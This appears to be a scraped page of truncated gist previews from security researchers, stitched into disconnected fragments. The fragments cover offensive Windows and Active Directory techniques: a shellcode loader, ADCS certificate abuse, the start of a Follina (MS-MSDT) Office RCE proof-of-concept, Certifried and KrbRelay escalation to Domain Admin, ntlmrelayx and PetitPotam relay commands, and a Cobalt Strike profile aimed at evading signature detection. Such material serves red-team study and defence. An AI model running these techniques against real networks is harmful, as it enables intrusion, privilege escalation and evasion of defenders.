susMdT

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
namespace Test
{
    // CCOB IS THE GOAT

b4cktr4ck2

#Thank you @NotMedic for troubleshooting/validating stuff!

$password = Read-Host -Prompt "Enter Password"
#^^ Feel free to hardcode this for running in a beacon/not retyping it all the time!

$server = "admin" #This will just decide the name of the cert request files that are created. I didn't want to change the var name so it's server for now. 
$CERTPATH = "C:\Users\lowpriv\Desktop\" #Where do you want the cert requests to be stored?
$CAFQDN = "dc01.alexlab.local" #hostname of underlying CA box.
$CASERVER = "alexlab-dc01-ca" #CA name.
$CA = $CAFQDN + "\" + $CASERVER

LuemmelSec

$elevated = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

function Show-Menu {
    Clear-Host
    Write-Host "======================================================"
    Write-Host "================ Give Back Control ================"
    Write-Host "======================================================"
    if($elevated -eq $true){
        Write-Host "Local Admin: " -ForegroundColor white -NoNewline; Write-Host $elevated -ForegroundColor Green 
        Write-Host "We have superpowers. Ready to continue."        

tothi

MS-MSDT 0-day Office RCE

MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).

The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).

Here are the steps to build a Proof-of-Concept docx:

1. Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.

tothi

Certifried combined with KrbRelayUp

Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.

The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.

Prerequisites:

tothi

KrbRelay with RBCD Privilege Escalation HOWTO

Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.

TL;DR

No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.

Prerequisites:

• LDAP signing not required on Domain Controller (default!)

bohops

//original runner by @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs

using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Reflection.Emit;

namespace ShellcodeLoader
{
    class Program

zimnyaa

# setting up a DNS record in the domain, the zone I required was found in ForestDNSZones
python3 ./krbrelayx/dnstool.py -u DOMAIN\\zimnyaa -p <PASSWORD> -a add -r testrecord -d <MY_IP> --forest DC1.DOMAIN.local

# setting up a LDAPS relay to grant RBCD to computer account we have
# in my case MAQ = 0, so I escalated on a domain workstation and used it
sudo impacket-ntlmrelayx -smb2support -t ldaps://DC1.DOMAIN.local --http-port 8080 --delegate-access --escalate-user MYWS\$ --no-dump --no-acl --no-da

# PetitPotam to WebDAV with domain credentials (not patched)
# DO NOT use FQDN here
python3 PetitPotam.py -d DOMAIN.local -u zimnyaa -p <PASSWORD> testrecord@8080/a TARGETSERVER

tothi

# in addition to the profile, a stage0 loader is also required (default generated payloads are caught by signatures)
# as stage0, remote injecting a thread into a suspended process works

set host_stage "false";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62";
set sleeptime "10000";

stage {
  set allocator "MapViewOfFile";
  set name "notevil.dll";

EvanMcBroom

// Copyright (C) 2022 Evan McBroom
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// 
// The above copyright notice and this permission notice shall be included in